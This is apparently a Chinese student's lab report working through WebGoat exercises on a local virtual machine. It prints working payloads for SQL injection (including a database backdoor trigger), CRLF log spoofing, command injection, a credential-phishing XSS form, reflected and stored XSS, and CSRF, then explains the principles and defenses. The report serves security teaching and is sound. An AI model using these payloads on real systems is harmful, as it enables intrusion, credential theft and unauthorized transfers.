20155217《网络对抗》Exp09 Web安全基础实践
实践内容
- 关于webgoat:询问了很多人在安装webgoat时出现了错误,安装失败,因此直接通过同学copy了老师的虚拟机进行本次实验。
- 输入命令
java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat
。
WebGoat
使用8080端口
,所以在浏览器上访问localhost:8080/WebGoat
进入WebGoat。
String SQL Injection
- 按提示先输入
Smith
,发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,因此我们可以通过控制在输入框中输入的字符串来控制select语句。 - 输入
'or 1='1
,代码变为SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这里的1='1'
为永真式,因此成功显示所有信用卡号。
LAB:SQL Injection(Stage 1:String SQL Injection)
- 很多网站密码验证都是
select * from User where username=''and password =''
,理论上只要pwd = 'or 1=1 --
,就可以实现任何用户的登录。 - 但实际上,以用户Neville登录,在密码栏中输入
'or 1=1 --
进行SQL注入登录失败:
- 查看代码发现,密码长度定义为8位,而我们需要输入的
'or 1=1 --
为10位,因此需要修改长度为10。
- 输入
'or 1=1 --
,登录成功。
Stage 3: Numeric SQL Injection
- 先修改密码长度,然后输入
'or 1=1 --
以larry登录,登陆后看到浏览员工信息的按钮是ViewProfile
:
- 分析这个按钮的代码,发现这个地方是以员工ID作为索引传递参数的。我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的
value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
- 之后就可以查看到老板的信息:
Log Spoofing
- 因为输入的用户名会被追加到日志文件中,所以可以欺骗管理员来使用户名为“admin”的用户在日志中显示“成功登录”。
- 输入
yd%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符。
Numeric SQL Injection
- 修改
SELECT * FROM weather_data WHERE station = 101 or 1=1
为永真式来达到查看全部天气数据的目的。
- 选中
Columbia
,点Go
,可以看到所有天气数据。
Command Injection
- 为了能在目标主机上执行系统命令,修改代码:在
AccessControlMatrix.help
旁边加上"&&ifconfig"
:
- 在下拉菜单中能看到修改后的值:
- 选中修改后的值再点
view
,可以看到命令被执行,出现系统网络连接情况:
Database Backdoors
- 根据提示在如下页面输入工号,进行查询一些信息:
- 发现客户端输入的查询语句没有在服务器端进行验证。输入
101; update employee set salary=10000
,服务器为我们更新。 - 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid
,使没创建一个新用户的时候,自动为其填充为我们所希望的邮箱。
Phishing with XSS
- 在搜索框中输入任何内容,搜索后都会显示在下方。
- 可以输入一个
html
代码,添加html认证信息
,通过提交时将认证信息提交服务器。
- 这次
html
完整代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Reflected XSS Attacks
- 需要在相应信息栏输入包含URL值的内容,使当前页面跳转到另一个(指定)网页,或者当用户点击
purchase
的时候跳出恶意信息。 - 在最后一个输入框中输入
<script>alert("20155217says hello");</script>
,点击purchase
,弹出如下对话框。
- 也可以输入指定
URL
(login.html是从虚拟机中找的,存储在/var/www/html目录下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>
Stored XSS Attacks
- 利用脚本语言在网页中编写非法的留言内容,使得其他用户访问该页面的时候执行编写的脚本。
- 在
message
输入框中输入<script>alert("attacked by yangdi");</script>
执行脚本。
虽然以上这两个实验效果一样,但原理是不一样的。存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板;而反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的。
Cross Site Request Forgery (CSRF)
- 输入
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>
来构造邮件。 - 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。
基础问题回答
SQL注入攻击原理,如何防御
- SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。
- 解决办法:从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。
XSS攻击的原理,如何防御
- XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。 - 解决方法:一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如
<>
、”
、‘
、%
、;
、()
、&
、+
等严格控制输出。
CSRF攻击原理,如何防御
- CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,可以这样来理解:攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
- 解决办法:目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP头中自定义属性并验证。
实验总结与体会
这次实验对我来说难点之一在于webgoat
全英文的实验环境,实验的理解与完成很大程度上是在谷歌的帮助下做完的,心累累。另外,SQL注入攻击
、XSS攻击
等是关于web安全方面的攻击,本次在具体情形下进行实践,感觉比以往理解的更加透彻一些,而且更容易找到一些攻击的规律(可能是对能偷懒的方法天生敏锐吧~)。